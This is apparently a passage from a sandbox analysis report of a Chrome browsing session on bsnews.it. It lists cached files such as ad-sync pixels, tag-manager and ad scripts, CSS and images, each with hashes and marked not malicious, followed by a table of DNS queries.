SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=1955&partner_device_id=2bb0cef5-1ee4-0f18-2346-cec2b395e7eb
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 985

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	4.968013965112353
Encrypted:	false
SSDEEP:	3:8WiCLViemo/HH+QwItLIoCYKlGSnIwBM4D/YC3WOPOMCfNh:8WiIUemo/HPbfCYKpY4DWOGVfX
MD5:	D155EAE9349AF57E90D5875BFE490490
SHA1:	698C02E5E6D25E548C01AAEFAFA47E2BDD09AFD4
SHA-256:	342EF97E0B7AAA574F1F02CDB16C3072478CA9A8A6351B215E0E3875A937939A
SHA-512:	42FB1D73C3A62D088907CA5838663E33E9466629FA95CE508CF4C01D88C5C96FD5EB98B5DDFDEB8DF99742B9DC6A7EFF00E4034B15C543EEBB54B3DA29486A42
Malicious:	false
Reputation:	low
Preview:	apstag.punt({"cmp":"https://aax-eu.amazon-adsystem.com/s/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_smrt_an-db5_sovrn_3lift","cb":"0"})

Chrome Cache Entry: 986

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjst8jCCjygIyw0TZpNru-qvNri-bbSyLnsHx-SBx37ouEIXw3bOBTMuc1UiL_3kTrBnpKd8R_mrNJwxGKHhVWmHSohDoFOJxBEnwpXrLnbuDdvspL3EUi1-wmqUjvgsPLRWHeQnl60o&sig=Cg0ArKJSzDErefC4Sp_HEAE&id=lidartos&mcvt=5081&p=293,853,893,1153&mtos=5081,5081,5081,5081,5081&tos=5081,0,0,0,0&v=20240325&bin=7&avms=nio&bs=0,0&mc=1&if=1&vu=1&app=0&itpl=20&adk=979779281&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0%3D&vs=4&r=b&co=754869601&rst=1711615895003&rpt=5383&isd=0&lsd=0&ec=1&met=mue&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 987

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.773557262275185
Encrypted:	false
SSDEEP:	3:YL+Xy:YP
MD5:	C6A1847E6D7BB4295ECDAE2664AFFB5D
SHA1:	B332217021C4A707F950EBC9294CDA83CB2EB77F
SHA-256:	663DAB1310A7E64C3BDD7DFDC81B7FC9A28884D4EE290B96077C7B32BBE84707
SHA-512:	B776180826C9AC422479D424C6AB1B8CB33CB0F47A6476D59AA8AEC225834399F450D9CFF4B65AB163184B131816D2B90726FD851BCACE7FE3B645CEA0B8A816
Malicious:	false
Reputation:	low
Preview:	{"nobids":true}

Chrome Cache Entry: 988

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.7628743492292966
Encrypted:	false
SSDEEP:	3:6zLcM1sZ9BcyAHn:0cMSztAH
MD5:	B59FFA18DAD64BE6459B90E0117C2E94
SHA1:	40AA97C33618FB5459F4B3B8D9B22022B6616C60
SHA-256:	5F789CCAE156B160492D89A6146B1974D15128790B74ABB995D8E89FA44CDE5E
SHA-512:	19C89EAB341DB35E83AA2AFB5D41707020AF849BA0790CBA277BE2C3BB09E6E53AD9B009410783228CAF8BB82E6B81AB97B2DFD1969755EE47D9668A97F9F7A8
Malicious:	false
Reputation:	low
URL:	https://id5-sync.com/k/155.gif?puid=AAB0rE7MCl8AABRdYMg-YA&id5AccountNum=155&numCascadesAllowed=9
Preview:	could not find initiating sync partner null

Chrome Cache Entry: 989

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 990

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	13089
Entropy (8bit):	7.949748635649508
Encrypted:	false
SSDEEP:	384:IVVYF9Esqph5SDDRozYwjpmkQE3Equn+Cs1RcG2:OVUufuDRbrniRct
MD5:	53D616C4FC7A65EE3A9EBB5A3C4A6F6A
SHA1:	D12E592600DB6FC356E0EA826C19BA1F58869200
SHA-256:	8FD95CDA3ABB04F134CB8A97A594A0FF844B1022EA9E431D9BB38A3A978C0649
SHA-512:	9EEC2037F72229F7878D2B10A63072739412733D2ABFEC0A0CDD47D24BC06F2FF351A0AC01CFC3AA3F7BC8D5D04998BDD91503B796783CFE4DB7B91BBF75EEEB
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................D.."..............................................................................~+k..r)=.^...cv\=!.-(.....3...l..A....:.....Y.A....M..1p.5%!..e.\|..9V......&.P.evy.o.yi4d..Uv_....l...qc.p.....ev.=>\|..-@c..):et...=.....&..D}...,.oCQ...5.......z..'.ru"67E.Kz.Tte.yc.'.f..G-.y.h...-..c.#z.}(.?.=^.+..tV8...}.u.....,b..X..4.\......?....nj...z..\u.kI..U.>.Q........+n...R9.f....S........t.U6..^.,.l...............iqz..TYF'.....u.WS.C..t..j\|.Q.....k.A.f.,na'F.<`).'..5.]...#.2j...zVm../:.....B#U..W..v6.."..q...E...'..H9.z8....O}.7........B......4.b gs{......h. ..J...1..6..>y.B..c.....Bb..6$..,`..VYl...Q....S...>..Nc..b.7`BE&.sZ.s... .^.'.2..N..M...p%.X.....L..g%..&x..,..U.[.......2H..R...M..9xz$..i..:q.I..6m.c....:...P..rcJ..D..oV...Nf)b...$..).=[.).`.K65..p.vY. .D.3....^....i..T&J.6.mjmi.}.0

Chrome Cache Entry: 991

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17718), with no line terminators
Category:	downloaded
Size (bytes):	17718
Entropy (8bit):	4.969396940233072
Encrypted:	false
SSDEEP:	192:+eMfR5lwIeqP3ZU6YKbuZouuu64pwm9X+nKRJQI6CmVD6BLDP6Ixmtr:ORrwIeS3Ztu64ruM76CmVD6BLDPmtr
MD5:	C2102FD67DF6B0CD51D07D5960C9CCF2
SHA1:	C8C8B67E3E7FC56CB33ED9211BA51E25261AA9C6
SHA-256:	4C369D7B29335EE8D3341C0D9BA9CDF77A1EB449774DF34A5E803EFFFE3DB99E
SHA-512:	A91659B76F6EE6547BF0D6068B13219BF63A41D57AFE7A8D3F6A4AEAF16D57E5A21482FFFED5534DEA69A921B922EEBE5578C3D2C1DCAF631D75973F1F944AB4
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/mailpoet/assets/dist/css/mailpoet-public.c5d405bf.css?ver=6.4.3
Preview:	.mailpoet_form_html p,.mailpoet_form_html ol,.mailpoet_form_html ul,.mailpoet_form_html li,.mailpoet_form_html dl,.mailpoet_form_html dt,.mailpoet_form_html dd,.mailpoet_form_html blockquote,.mailpoet_form_html figure,.mailpoet_form_html fieldset,.mailpoet_form_html form,.mailpoet_form_html legend,.mailpoet_form_html textarea,.mailpoet_form_html pre,.mailpoet_form_html iframe,.mailpoet_form_html hr,.mailpoet_form_html h1,.mailpoet_form_html h2,.mailpoet_form_html h3,.mailpoet_form_html h4,.mailpoet_form_html h5,.mailpoet_form_html h6,.mailpoet_form_iframe p,.mailpoet_form_iframe ol,.mailpoet_form_iframe ul,.mailpoet_form_iframe li,.mailpoet_form_iframe dl,.mailpoet_form_iframe dt,.mailpoet_form_iframe dd,.mailpoet_form_iframe blockquote,.mailpoet_form_iframe figure,.mailpoet_form_iframe fieldset,.mailpoet_form_iframe form,.mailpoet_form_iframe legend,.mailpoet_form_iframe textarea,.mailpoet_form_iframe pre,.mailpoet_form_iframe iframe,.mailpoet_form_iframe hr,.mailpoet_form_iframe h1,.

Chrome Cache Entry: 992

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5955)
Category:	downloaded
Size (bytes):	252104
Entropy (8bit):	5.572811776344166
Encrypted:	false
SSDEEP:	3072:u4wghEZWVRtHUFVkxyP8Z2B1rUJsmG6WmIDHCQ79ZPv6IT1GsPP96GBFa:twgRt0FVkxcBCsmbIDHC89tiI4sH96x
MD5:	298D4C97C2BABE85D55FBC6851713547
SHA1:	D80F0D2CF0EDC023FF84694E549EAD9A84DE0DB6
SHA-256:	3CA06054432DCCA686AF75AF725069D75C7519ACA8246B34A99D4C338CB7F64E
SHA-512:	EEB1F6FAB9AA7E2B318E7B12079217871C747C460F72F2A247A5773F668DD3A65E7289FBCF217B38E4C67E115FFEA18A8DF6A109C9CFD24D6EE91B5A71D22CBD
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-EQYZRK97F1
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"vtp_signal":1,"function":"__c","vtp_value":1},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":1,"function":"__c","vtp_value":1},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":8,"vtp_value":true,"tag_id":15},{"function":"__ogt_session_timeout","priority":8,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":17},{"function":"__ogt_1p_data_v2","priority":8,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp

Chrome Cache Entry: 993

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (546)
Category:	downloaded
Size (bytes):	745
Entropy (8bit):	5.474471591882279
Encrypted:	false
SSDEEP:	12:2ebxkC6DVU4dxhwVVIeJlxThUscmXVQxde/7Rm9TuOBIdNcDgXoQL:2e2C6hHfhiVIm/FdcmB7cwdNwg
MD5:	71AA1CB4E8035FB35AA1A560B4BFACCA
SHA1:	B8835A7CBE0C46BB92D825DA990DE13F50A2BEFE
SHA-256:	48FC2871533ECA0956AD11D6E07A259222660028C94A3303E874B99B0C366F33
SHA-512:	87BD5F98552252F77E4884FF4681210D25081693C7D427080A3DC5E97AD718A132AF5D018CE57BF9F64F88CF776A26011A29371BBB47038D567B68A30AD6538A
Malicious:	false
Reputation:	low
URL:	https://google-bidout-d.openx.net/w/1.0/pd?plm=5
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://idpix.media6degrees.com/orbserv/hbpix?pixId=856286&pcv=125&ptid=23&tpuv=00&tpu=81632883-5d7b-17a9-9e8e-1de7a5d46625"><img src="https://sync.srv.stackadapt.com/sync?nid=268"><img src="https://aorta.clickagy.com/pixel.gif?ch=4&cm=324089ec-1799-0ed1-1f32-cd55642b28d6&redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537073026%26val%3D%7Bvisitor_id%7D"><img src="https://rtb.openx.net/sync/dds"><img src="https://sync.ipredictive.com/d/sync/cookie/generic?https://us-u.openx.net/w/1.0/sd?id=537073028&val=${ADELPHIC_CUID}">..</body>.</html>.

Chrome Cache Entry: 994

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	4.786965851332753
Encrypted:	false
SSDEEP:	24:2dznnbRLgjeaxMRPEP5Jn5Tgjq5YWcMhCevU19nq5krMqd5iKSNAe:cTnVTPEbQF19q5kr1b8
MD5:	B4211AF384A733D55D4EEC3D9EBFEDAF
SHA1:	6C3F527BC0605AF9D1945987703692C6796CE571
SHA-256:	533E7A5D03D6CE34DEF7FF3A2CEB0BEE937204A52463A4FBB4D717A7432FDF52
SHA-512:	CC1096EC3FC4FB650CCA6CBA682575EAA78EA00BC81E9904CC7F71EFD64DB1D3D7ABFE31BD035E8D2456429AF917D0BF70E2DBC1ABD8363BFDC8CE67E17B416F
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg width="16px" height="16px" viewBox="0 0 16 16" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <title>icons/ic_close_round_1</title>. <g id="icons/ic_close_round_1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">. <path d="M8,0 C12.418278,0 16,3.581722 16,8 C16,12.418278 12.418278,16 8,16 C3.581722,16 0,12.418278 0,8 C0,3.581722 3.581722,0 8,0 Z M8,2 C4.6862915,2 2,4.6862915 2,8 C2,11.3137085 4.6862915,14 8,14 C11.3137085,14 14,11.3137085 14,8 C14,4.6862915 11.3137085,2 8,2 Z M5.87867966,4.46446609 L8,6.58578644 L10.1213203,4.46446609 C10.5118446,4.0739418 11.1450096,4.0739418 11.5355339,4.46446609 C11.9260582,4.85499039 11.9260582,5.48815536 11.5355339,5.87867966 L9.41421356,8 L11.5355339,10.1213203 C11.9260582,10.5118446 11.9260582,11.1450096 11.5355339,11.5355339 C11.1450096,11.9260582 10.5118446,11.9260582 10.1213203,11.5355339 L8,9.41421356 L5.87867966,11.5355339

Chrome Cache Entry: 995

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2870), with no line terminators
Category:	downloaded
Size (bytes):	2870
Entropy (8bit):	5.2851598478321495
Encrypted:	false
SSDEEP:	48:Qu6IgYqIgwBwUMwpY0/vGb0XTwhGbjhfGbAcxGbAIY1MW1cZ/w0BJbL5:T9WAGI789hixP
MD5:	C57304A5A38CE7759AD16CDE696B3D1B
SHA1:	88F42ECE8AD1765FF400ECCAA2551B9F72488871
SHA-256:	AAE5689B59724B491AE8E37D078ABD63DFA2E4627C38A0566245082439210DB5
SHA-512:	659B9261D1F76B61D176A5F096943DFCA80C124ACC57C09DF1C16DA667D2FC2B1C362456E40E0F9376C0D2D59B5126093E6386B61148D459EF18A54585067FE6
Malicious:	false
Reputation:	low
URL:	https://m.media-amazon.com/images/I/115BTkNA0nL.js
Preview:	var CREM;(()=>{"use strict";var e={905:(e,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.evaluateBTRCriteria=a.MRC_BTR_CLASS=void 0,a.MRC_BTR_CLASS="mrc-btr-creative";var t="visibilitychange",r=!1;a.evaluateBTRCriteria=function(e,a,i){if(window.addEventListener("pagehide",(function(){r\|\|i({isBTRCompliant:!1,imagesData:[],isBTRTaggedCreative:!0,isFramed:!1})})),d(e)){var s=function(){d(e)\|\|(n(a,i),e.removeEventListener(t,s))};e.addEventListener(t,s)}else n(a,i)};var n=function(e,t){var n=0,o=setInterval((function(){var c=e.getElementsByTagName("img"),v=e.getElementsByClassName(a.MRC_BTR_CLASS),d=v.length>0,m=e.getElementsByTagName("iframe");d?(clearInterval(o),i(v,t)):c.length>0?(clearInterval(o),s(c,t)):n>=6&&m.length>0?(clearInterval(o),l(m,t)):n>=20&&(clearInterval(o),r=!0,t({isBTRCompliant:!1,imagesData:[],isBTRTaggedCreative:!1,isFramed:!1})),n++}),500)},i=function(e,a){var t=[],n=0,i=0,s=setInterval((function(){for(var l=0;l<e.length;l++){var c=e[l];c instanceof HTMLImage

Chrome Cache Entry: 996

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2841), with no line terminators
Category:	downloaded
Size (bytes):	2841
Entropy (8bit):	5.191230728140716
Encrypted:	false
SSDEEP:	48:fPYg0y/ATsdOowwU+kNHQkuoBLQJ6QXgEzyXZdUIgu2JoF2OhVcODy6jpwU+ADaq:Yg0yEsoofmQpCQJ6QXJodUIgu2JzOhVT
MD5:	F6F4B737285B512DB41720A2F4561060
SHA1:	C2A1B66C091A40108EB77561B5A2FFE279BFC383
SHA-256:	B994C3EB8CD18A24DE397C8D2E9DD0724AF7F041DE1BF677F6DB24FCF00BCA3B
SHA-512:	FE83B4FD0DCD6E2C26155DB620AD73B14B24405ECC6476F77E40F7057F54B81417B2699049D1D41A36751679777581D9211E9F5AA09A43B1D1E271F4DECDB19F
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/490.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[490],{988:(e,t,n)=>{"use strict";n.d(t,{C:()=>i});var r=n(845);const{LoggerSour:l}=r.t,o=new l("DOM Manager"),i={createDOMElement:c,createDivAndAppend:s,createPlaceHolderAndStyle:d,checkPageSelectors:g,insertAfter:a,getMaxHeight:u,appendScriptForDiv:function(e,t="stdunit"){if(!e)return;t\|\|(t="stdunit");const n="<span class='sour-scripts-"+t+"'>"+unescape(e)+"</span>";var r=document.createRange();r.selectNode(document.getElementsByTagName("body")[0]);var l=r.createContextualFragment(n);document.body.appendChild(l),o.log("Adding script for "+t)},initPlaceholderSlot:function(e){let{gsizes:t,code:n,createElementMode:r,createElementSelector:l,minWidth:i,maxWidth:a,pageSelectors:s}=e;if(i\|\|a){var u=window.innerWidth;if(i&&u<i)return!1;if(a&&u>a)return!1}if(s&&"null"!==s&&!g(s))return o.log("pageSelectors "+s+" not found!"),!1;if(r&&l)c(e);else if(null==document.getElementById(n))return null;return null===e.placeholder&&(e.placeholder=!

Chrome Cache Entry: 997

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=137711&s=137812&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D58%263pid%3D&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 998

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 96x96, components 3
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	7.524207628873335
Encrypted:	false
SSDEEP:	24:OJf+Io0XxDuLHeOWXG4OZ7DAJuLHenX3K5oyJdp86uHlkfLkmbXpNDRlXs75+IqU:UfquERAEJda60oLrlNDRlXHIqVWCW
MD5:	C7D444A35D350F37CF996778686F9FCE
SHA1:	41D80EB83A0E887107AB47D84002A24AEF786447
SHA-256:	67F565F25C1BB8AE629CFCA60C71766232073A0C905E0387E45895657B4AE3E7
SHA-512:	0DCCA375CF1657E720CC8DDB37F1ABA4050E6E972AEBE129EA7E87E8521D7A423C9B81395292A34D4EE4FBA28AC432ADA257C2D54E0F0A8450AEB2FC8E71B6D5
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90....C....................................................................C.......................................................................`.`.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....j;Q@....P..Q.QE....{Q......../.I.....{Q...4......(.......z.g].v.I(=.....?.......o<C...9..nU...?......A..g.Y..h.-...bO....u....p..(..=h....i...!m...~.....G.^........\../,@..=.q.+.?.Z...8 ...>f.....O.k.Ku.gt.......?.rT..R...P.E.....?.mV/.O0.<.......?.z.k.......d.2..........A........J?.J..-...IH...H

Chrome Cache Entry: 999

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	7755
Entropy (8bit):	7.903205654819488
Encrypted:	false
SSDEEP:	192:yD+7Ypkd9lzo8YiMls9dfNPPW3cWYvFeG/8UBfRQulL:Ikvo8Ol+fdu1CxvJXL
MD5:	33DCF8396B3FD5C2E3625DFD81C80428
SHA1:	2AC80C6F0DAD886309B03558ACE45E6D61853880
SHA-256:	20409A67A456342EF3BD6F2E23B2815AD3D1EA93F44009CF34AB91EE96E23A24
SHA-512:	8D7C2D02F58C477B9D999C93CEDE7F93B1760706E95E91E77C920013DE62D03D6DAABBFC91F3C6ACCBA2A0606DF77063A55191117656E7AE5A19FD79BB3267CF
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D.."...............................................................................JL..$.....". ..1.%.M\..$2v...gaz.....u.'9...=..^.LZ.9C...;G5.;j....%...r....k.3..$(f.ar1./Q...&v..bd.?.=....y.\.q...$.[B.z.../R..$:.cb4./?m.#.....$f...9A..'..8.5.%......l.K.\|....!~^."..%c..M....t}...0...v.x...WJl....p0....#.P.3W..v.N.v.4H.\.......B._0n.......I.....}..o.....w.7..Z...YX[..Yk6..K.Y.#].1....k.)Y..B....O-..n..S.s..E...U.<.IScY"...\x$s..}..x.5Qf.q...K.. .TF3.@.EL....4.".{..zW....u..:.fj....Q.5....:@E4.-O<....X.J..Y.f...+..f4D...7..P...g.g~.^..=K@..]=.~6..jj.=..1.....btp.60_ ^...u.d...Zx.(.W..S.S._7OI.gmpm......;.,.-.h...j...~..3..!..mQ.Z.z.ij4..J..^l.3KL3.:...\...z;2.....5.......w...e....g...b..].b.Nv'.b..Y.J8.x.,'...b.H..K.,.2z6...\..y*..h.9...7.....p.../5`.4..3..C.\.nh.jN...NE5;...,kLh.-

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 28, 2024 09:50:57.110548019 CET	192.168.2.4	1.1.1.1	0xa938	Standard query (0)	www.bsnews.it	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:57.110974073 CET	192.168.2.4	1.1.1.1	0x1c9d	Standard query (0)	www.bsnews.it	65	IN (0x0001)	false
Mar 28, 2024 09:50:57.994982958 CET	192.168.2.4	1.1.1.1	0x8ad1	Standard query (0)	bsnews.it	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:57.995137930 CET	192.168.2.4	1.1.1.1	0xf95	Standard query (0)	bsnews.it	65	IN (0x0001)	false
Mar 28, 2024 09:50:58.776107073 CET	192.168.2.4	1.1.1.1	0xb2e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:58.776261091 CET	192.168.2.4	1.1.1.1	0xf6db	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.381325960 CET	192.168.2.4	1.1.1.1	0x8c1e	Standard query (0)	secure.gravatar.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.381737947 CET	192.168.2.4	1.1.1.1	0x1f08	Standard query (0)	secure.gravatar.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.382272005 CET	192.168.2.4	1.1.1.1	0x3a9	Standard query (0)	stats.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.382628918 CET	192.168.2.4	1.1.1.1	0x82a3	Standard query (0)	stats.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.383053064 CET	192.168.2.4	1.1.1.1	0x3491	Standard query (0)	v0.wordpress.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.383316040 CET	192.168.2.4	1.1.1.1	0x7e0d	Standard query (0)	v0.wordpress.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.422684908 CET	192.168.2.4	1.1.1.1	0xe661	Standard query (0)	c0.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.422983885 CET	192.168.2.4	1.1.1.1	0xff28	Standard query (0)	c0.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.429007053 CET	192.168.2.4	1.1.1.1	0xcd1e	Standard query (0)	cdn.codesour.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.429166079 CET	192.168.2.4	1.1.1.1	0x1083	Standard query (0)	cdn.codesour.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.481440067 CET	192.168.2.4	1.1.1.1	0x33d5	Standard query (0)	i0.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.481584072 CET	192.168.2.4	1.1.1.1	0xea7d	Standard query (0)	i0.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.530124903 CET	192.168.2.4	1.1.1.1	0x32ae	Standard query (0)	2.gravatar.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.530458927 CET	192.168.2.4	1.1.1.1	0x652c	Standard query (0)	2.gravatar.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.535698891 CET	192.168.2.4	1.1.1.1	0x108b	Standard query (0)	1.gravatar.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.535911083 CET	192.168.2.4	1.1.1.1	0x1da8	Standard query (0)	1.gravatar.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.581820965 CET	192.168.2.4	1.1.1.1	0x7848	Standard query (0)	0.gravatar.com	A (IP address)	IN (0x0001)	false
